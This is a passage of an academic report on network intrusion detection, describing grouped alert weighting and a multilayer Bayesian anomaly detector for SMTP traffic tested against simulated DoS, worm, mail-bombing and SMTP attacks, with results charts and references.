                         0
                             1   31 61 91 121 151 181 211 241 271 301 331 361 391 421 451
                                                     Unit Time(5s)


                                                     Figure 5. Network statistical charts
                       Table 2 shows the detailed attacks detected at the 252nd unit time. We can see that one
attack belongs to group 2; here it means it is an attack on the ftp server on host 192.168.0.11 and
has high weight value, 49. This way, we can easily find the most threatening attacks and hereby
increase the efficiency of alert analysis.
                                                  Table 2. Grouped, weighted alert output




                                                                     - 20 -
4.2 Layer Correlation
We observe that current network IDSs mostly work on the features from one or two layers of the
network data while enormous relative features are available on different levels. We argue that this
information is essential. By correlating this information and the anomaly detectors on each level, we
can improve the effectiveness of the detection system. We present an anomaly detection system
based on the layer correlation. Bayesian networks and statistical analysis are used to build normal
system model for the anomaly detection engine. We tested our prototype system on a tcpdump trace
including normal and anomalous email activities and simulated attacks.

4.2.1. Feature types
Currently we have about sixty features for SMTP applications. Each feature has a continuous or
multinomial value. These features could be classified into two types:

   (1) Basic features

   These features relate to a particular IP packet, a TCP session, a SMTP session or an Email
message. Basic features usually could be extracted directly from network traffic data, such as IP
address, packets size, or Email address.

   (2) Aggregated features

   Aggregated features are derived from basic features over the previous T seconds or the previous
N sessions or a particular time period, such as the number of unique source IP address over the last
T seconds or the last N TCP sessions.

4.2.2. Features on multiple layers
Some features on different layers are tightly coupled; a feature on one layer may implicitly indicate
a feature on another layer. For example, the duration of TCP session is also the duration of STMP
session, and the IP packet size and number are related to the TCP stream length. In this case,
including extra features may not help. But there are still many features that are unique to a
particular protocol, especially on application level protocols, such as SMTP command status,
receiver’s email address and email format. While a detection engine may work well only on a set of
feature extracted from one layer to detect anomalies, we believe that by correlating the information
on different layers, we will have a more efficient detection system and reduce false positive rate.




                                                - 21 -
   In our test we extract and calculate features on five levels. The features on three levels are
directly relevant to the protocols on different network layers: TCP/IP, SMTP and MAIL/MIME.
The other two are the statistical features for building the SMTP mail server profile and individual
users’ profiles. Only aggregated features are available for mail user profiles and mail server profile.

   (1) TCP/IP

   Features on this level are all about standard information available from network traffic data.
Detailed features are show in Table 4.

   (2) SMTP

   SMTP features are collected to indicate the SMTP session status. The number of SMTP
command executed and their status are among the most important features. A failed command
usually means an anomaly in the SMTP session. Overflow attacks may fabricate an invalid SMTP
command to exploit some vulnerability on a particular server. The validation of SMTP command
format will help to detect such attacks. Details are in Table 5.

   (3) MAIL/MIME

   By decoding the mail message we obtain the features on MAIL level. If the message is encoded
in MIME, we further decode the message to get extra feature on MIME fields. Such kind of features
is the one we usually see on a mail client. We can see the details in Table 6.

Table 4. TCP/IP                  Table 5. SMTP                     Table 6. Mail/MIME




   (4) User Profile

   User profile is a statistical model of one user’s activity on SMTP server. It summarizes the
emails sent or received by a single user. All these features are computed as aggregated features.
Table 7 shows the statistical profile features.


                                                  - 22 -
   (5) Server Profile

   Server profile is the integration of individual user profiles. It represents the SMTP server
activity. Features that are similar to those in user profile are included. See Table 8 for details.

Table 7. User profile        Table 8. Server profile




4.2.3. Layer correlation
The proposed multilayer detection system is described in Figure 2. First, a data preprocessor filters
uninterested network traffic data. A feature extractor then extracts aforementioned features from the
three network layers. In the central detection engine, for each set of features there is an anomaly
detector. An anomaly detector is a Naïve Bayesian classifier, which, after a training period, will
output a probability of anomaly for each TCP connection, SMTP session or Mail message.
Statistical features are computed on MAIL/MIME features for user profile and server profile. Naïve
Bayesian classifiers also work on these two layers to detect possible anomalies.

       The key component here is the layer correlation engine. The output from these anomaly
detectors is correlated within the layer correlation engine. Weighted alerts are the final output
indicating whether a session is anomalous or whether a user’s or a server’s activity is anomalous
during a particular time period.




                                                  - 23 -
                                                                  Detection Engine
                                                                  (Bayesian/Statistical
                                                                  Analysis)

                                                       TCP/IP     TCP/IP
                                                       Features   Detector
                                                                                                        Alerts
              Data                    Feature                     SMTP                    Correlation
  Network                 Mail Related                 SMTP
              Preprocesso             Extracto                    Detector                Engine
 Traffic Data             Traffic Data                 Features
              r                       r
                                                                MAIL/MIME
                                                       MAIL/MIMEDetector
                                                       Features
                                                                  User Model


                                                                  Server Model




                                           Figure 6. Layer correlation


An output from a Naïve Bayesian classifier is a probability that indicate the likelihood of the test
data to the labeled class, ranging from 0 to 1. We have five classifiers on TCP/IP, SMTP,
MAIL/MIME, user model and server model respectively. A session tested against these five
classifiers will get five probability values. The correlation engine therefore combines them into one
probability value that represents the overall likelihood of anomalies.

             Suppose p is the probability value generated from a classifier for a particular session, then p
<= 0.5 means that the session is not likely anomalous. For p >0.5, the greater the value of p is, the
more anomalous the session. We get five probability values: pi,(i=1,…,5) from the five classifiers If
one of them is large enough while the other four are less than 0.5, it will surely indicate that the
session is more likely to be anomalous. A normal average of sum of pi,(i=1,…,5) can not serve this
purpose. We calculate the overall probability value based on the following modified weighted
average methods.
      5

       p  i       i
                             2
                             i
p   i 1
        5

              i       i
      i 1
                                                 (1)




                                                        - 24 -
            Where pi,(i=1,…,5) is output from the Naïve Bayesian classifiers. αi,(i=1,…,5) is the weight
adjustor based on the significance of the probability values. Its calculation is based on the following
function.

      6,      if pi  0.95
      5,      if 0.9  pi  0.95
      
      4,      if 0.8  pi  0.9
      
 i  3,      if 0.7  pi  0.8    ,   i  1,...,5
      2,      if 0.6  pi  0.7
      
      1,     if 0.5  pi  0.6
      
      0,      if pi  0.5
                                                      (2)
            Here βi,(i=1,…,5) is the classifier adjustor, which changes the weight of each classifier
based on real network environment. In our test network environment, we found the output on
TCP/IP layer is more relevant to the behavior of the test network traffic. So the classifier for TCP/IP
layer is set to 2. As we discussed in next section, the server profile is ignored in the test, the
classifier adjustor for server model is set to 0. All other classifiers are set to 1 by default.

     The possible value of the overall weighted probability p is in the scope of (0.5, 1] or equals 0.




4.2.4 Experiments and results

            We develop a prototype system to demonstrate the idea of layer correlation for anomaly
detection. A tcpdump trace with real SMTP data is extremely difficult to be obtained due to the
concerns of privacy and security issues. To test our prototype system, we implement a controlled
network environment to simulate normal email activities, worm activities and attacks on mail server.


(1) Experimental network environment
The test network environment includes several machines running Linux. A sendmail [22] serves as
a SMTP mail server running on one machine. Some Perl scripts are running on client machines to
send out emails to users on the mail server, which simulates normal email activities. The scripts
randomly select sender’s address, receiver’s address, subject, message, and attachment for each
email from a set of files. The interval between two emails is also randomly picked. Other Perl
scripts simulate SMTP-based attacks, worm activities and DoS attacks. All these network activities
are captured as a tcpdump trace and fed into our prototype system for further analysis. Perl scripts


                                                            - 25 -
and MySQL [12] database are used for data processing. Naïve Bayesian classifiers, statistical
analyzers and a layer correlation engine are also developed in Perl. The first set of captured data is
used to train the anomaly detection engine. The second set is used to test the system. We discuss the
details in the next section.


(2) Evaluation data and result
The majority of the test data are normal email activities including 2000 emails. We simulate 4
different kinds of anomalous activities: SMTP-based attacks, worms, DoS attacks and mail
bombings. The instances of these activities are 160, 410, 400 and 500 respectively. The data of the
first run of the test is used for training and the second run is for test. We do not include those
features that are almost constant in the test data, such as IP addresses, port numbers, hops, server
source in/out degree, failed login and etc. Because of limited number of mail users in the test, the
results from server profiles are similar to those from user profiles. The result of correlation does not
change too much with or without server profiles. So the server profile building is also ignored. We
will discuss these four kinds of anomalous activities and the test result.

    (a) SMTP-based attacks

    SMTP-based attacks are often used to discover mail services, harvest email address by
exploring special SMTP commands or to exploit known vulnerabilities on a particular mail server.
Figure 3 shows the distribution of the output from anomaly detection engines on TCP/IP, SMTP
layers and the weighted overall anomaly values for SMTP-based attacks. We can see that on
TCP/IP layer the majority of the anomaly values is around 0.5, which means that the SMTP-based
attacks do not show many anomalies on this layer. On SMTP layer, the values are mostly ranging
from 0.85 to 1.0 indicating high anomalous activities. The weighted anomaly values calculated
based on formula (1). Almost 100% of the values are larger than 0.9, which means that the attacks
could be detected even with a widely set threshold.




                                                  - 26 -
                                                               Anomaly Output Distribution

              60%



              50%



              40%
  Frequency




              30%



              20%



              10%



               0%
                 0.05   0.1   0.15   0.2   0.25   0.3   0.35     0.4   0.45   0.5    0.55   0.6   0.65   0.7   0.75   0.8   0.85   0.9   0.95   1
                                                                       Anomaly Probability

                                                                   TCP/IP         SMTP       Weighted




                                             Figure 7. Anomaly output distribution (SMTP)
              (b) DoS attacks

              DoS attacks send huge amount of emails to a mail server and try to occupy all the resources the
mail server needed for operation to cause the server out of service. These kinds of activities
extremely reflect behavior on TCP/IP layer, server and user profiles. Since the emails are all valid,
the behavior on SMTP and MAIL/MIME layers may not change too much.

              Figure 4 shows the distribution of outputs from four anomaly detection engines and the
weighted overall anomaly values for simulated DoS attacks. The output on SMTP and
MAIL/MIME layers are mainly around 0.5, which means that they are just like the normal email
behavior on these two layers. The output on TCP/IP and user profile layers range from 0.5 to 1 with
the majority close to 1, which indicates much anomalous behavior. The weighted output values are
mostly larger than 0.75. The attacks could be detected with a carefully selected threshold to avoid a
high false alarm rate and keep a reasonable detection rate.

                                                               Anomaly   Output   Distribution

              60%



              50%



              40%
  Frequency




              30%



              20%



              10%



               0%
                 0.05   0.1   0.15   0.2   0.25   0.3   0.35     0.4   0.45 0.5  0.55  0.6        0.65   0.7   0.75   0.8   0.85   0.9   0.95   1
                                                                       Anomaly Probability

                                                        TCP/IP         SMTP         MIME     User        Weighted




                                              Figure 8. Anomaly output distribution (DoS)
              (c) Worms


                                                                              - 27 -
              If a computer is infected by a worm, the typical behavior of the worm is to send a copy of itself
to every email address it finds in the user’s address book. It may modify message subject, body, file
name or even executable codes. On user profile, the outgoing message rate will change significantly.

              Figure 5 shows the distribution of the probability output from four anomaly detection engines
on TCP/IP, SMTP and MAIL/MIME layers and user profile for the 500 simulated attacks. When a
worm is spreading out, TCP/IP behavior may show some anomalies depending on the overall
network activities. The SMTP behavior is always normal and the MAIL/MIME detection engine
will find some anomalies because of the large-size message data. The most significant indication
comes from user profile, which should find changes in outgoing message rate and message sizes.
We can see that while output on TCP/IP, SMTP and MIME layers are in the range of 0.45 and 0.75
mostly, almost 100% weighted output is larger than 0.8. In this case it detects almost 100% of the
attacks with a widely set threshold.

                                                                Anomaly   Output   Distribution

              60%



              50%



              40%
  Frequency




              30%



              20%



              10%



               0%
                 0.05   0.1   0.15    0.2   0.25   0.3   0.35     0.4   0.45 0.5  0.55  0.6       0.65   0.7   0.75   0.8   0.85   0.9   0.95   1
                                                                        Anomaly Probability

                                                         TCP/IP         SMTP       MIME     User         Weighted




                                     Figure 9, Anomaly output distribution (worms/mail bombing)
              (d ) Mail Bombing

              Mail bombing attacks are a little bit different from DoS attacks. DoS attacks target mail server
itself, trying to take it out of service. The mail bombing attack we describe here is a attack sending a
bunch of emails with very large-size message data to a particular user. It tries to occupy the user’s
mail space and keep the user from receiving or sending normal emails. The mail server may still in
service. We get a similar result as from worms as shown in Figure 5.
Figure 7 is a chart of detection rates and false alarm rates with regard to different threshold settings.
We can see that through multilayer approach we can achieve a high detection rate of more than 90%




                                                                               - 28 -
while keep a low false alarm rate of less than 10% when the threshold range from 0.62 to 0.78.
                                                                    Performance

         1

        0.9

        0.8

        0.7

        0.6
 Rate




        0.5

        0.4

        0.3

        0.2

        0.1

         0
          0.55   0.575   0.6   0.625   0.65   0.675   0.7   0.725   0.75   0.775   0.8   0.825    0.85   0.875   0.9   0.925   0.95   0.975
                                                                       Threshold

                                                             Detection     Rate           False   Alarm   Rate




                                          Figure 10. Detection rates and false alarm rates



5. Conclusions

        In this project, we have presented the concept of NCA and discussed its design and
implementation issues. We developed a prototype for an offline NCA correlation system working
with Snort NIDS. We also presented the concept of multilayer anomaly detection and discussed its
design and implementation issues. We developed a prototype system for multilayer correlations. We
demonstrated that utilizing all features available on different layers is essential in reducing false
positive rates and improving the efficiency of network IDS.
        Real SMTP traces are very difficult to be obtained and the simulated SMTP traffic data has
many limitations, the features selected here may not suit the real environment very well. While in
the test we utilize a set of limited features to build our anomaly detection engine, the approach that
correlate information on different layers for intrusion detection demonstrates promising results. We
believe that experiments in a real environment are important to evaluate and improve our multilayer
intrusion detection system.




                                                                            - 29 -
References

[1] ANDERSON, J. P. ―Computer security threat monitoring and surveillance‖. Tech. Rep.
Anderson Co. Fort Washington, PA. 1980


[2] Barton P Miller, David Koski, Cjin Pheow Lee, Vivekananda Maganty, Ravi Murthy, Ajitkumar
Natarajan, Jeff Steidl. ―Fuzz Revisited: A Re-examination of the Reliability of UNIX Utilities and
Services‖. Computer Sciences Department, University of Wisconsin, 1995.


[3] Rebecca Bace and Peter Mell. "NIST Special Publication on Intrusion Detection Systems", 16
August 2001.


[4] Dorothy Denning. ―An intrusion-detection model‖, IEEE Symposium on Security and Privacy,
pages 118-131, Oakland, USA, 1986


[5] Stephanie Forrest, Steven A. Hofmeyr, Anil Somayaji, and Thomas A. Longstaff. ―A sense of
self for UNIX process‖, Proceedings of the 1996 IEEE Symposium on Research in Security and
Privacy, pages 120-128, IEEE Computer Society press, 1996


[6] A. Ghosh and A. Schwartzbard, ―A study in using neural networks for anomaly and misuse
detection‖, USENIX Security Symposium, 1999


[7] JAVITS, H. S. AND VALDES, A. ―The NIDES statistical component: Description and
justification‖. Technical Rep. SRI International, Computer Science Laboratory. 1993


[8] SMAHA, S. E. ―Haystack: An intrusion detection system‖. In Proceedings of the Fourth
Aerospace Computer Security Applications Conference Dec. 1988


[9] Nmap: http://www.insecure.org/nmap/


[10] nessus: http://www.nessus.org/


                                               - 30 -
[11] ntop: http://www.ntop.org/


[12] mySQL: http://www.mysql.com/


[13] Robin Sommer. ―Bro: An Open Source Network Intrusion Detection System‖, Proceedings of
the 17. DFN-Arbeitstagung über Kommunikationsnetze, 2003


[15] IDEF: http://www.ietf.org/html.charters/idwg-charter.html


[16] Snort: http://www.snort.org


[17] Bro: http://www.icir.org/vern/bro-info.html


[18] LNKnet: http://www.ll.mit.edu/IST/lnknet/


[19] DARPA data set: http://www.ll.mit.edu/IST/ideval/data/data_index.html


[20] Mucus: http://www.cs.ucsb.edu/~rsg/Mucus/


[21] Tcpstat: http://www.frenchfries.net/paul/tcpstat/


[22] Sendmail Consortium, http://www.sendmail.org




                                                - 31 -

				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:43
posted:7/13/2011
language:English
pages:34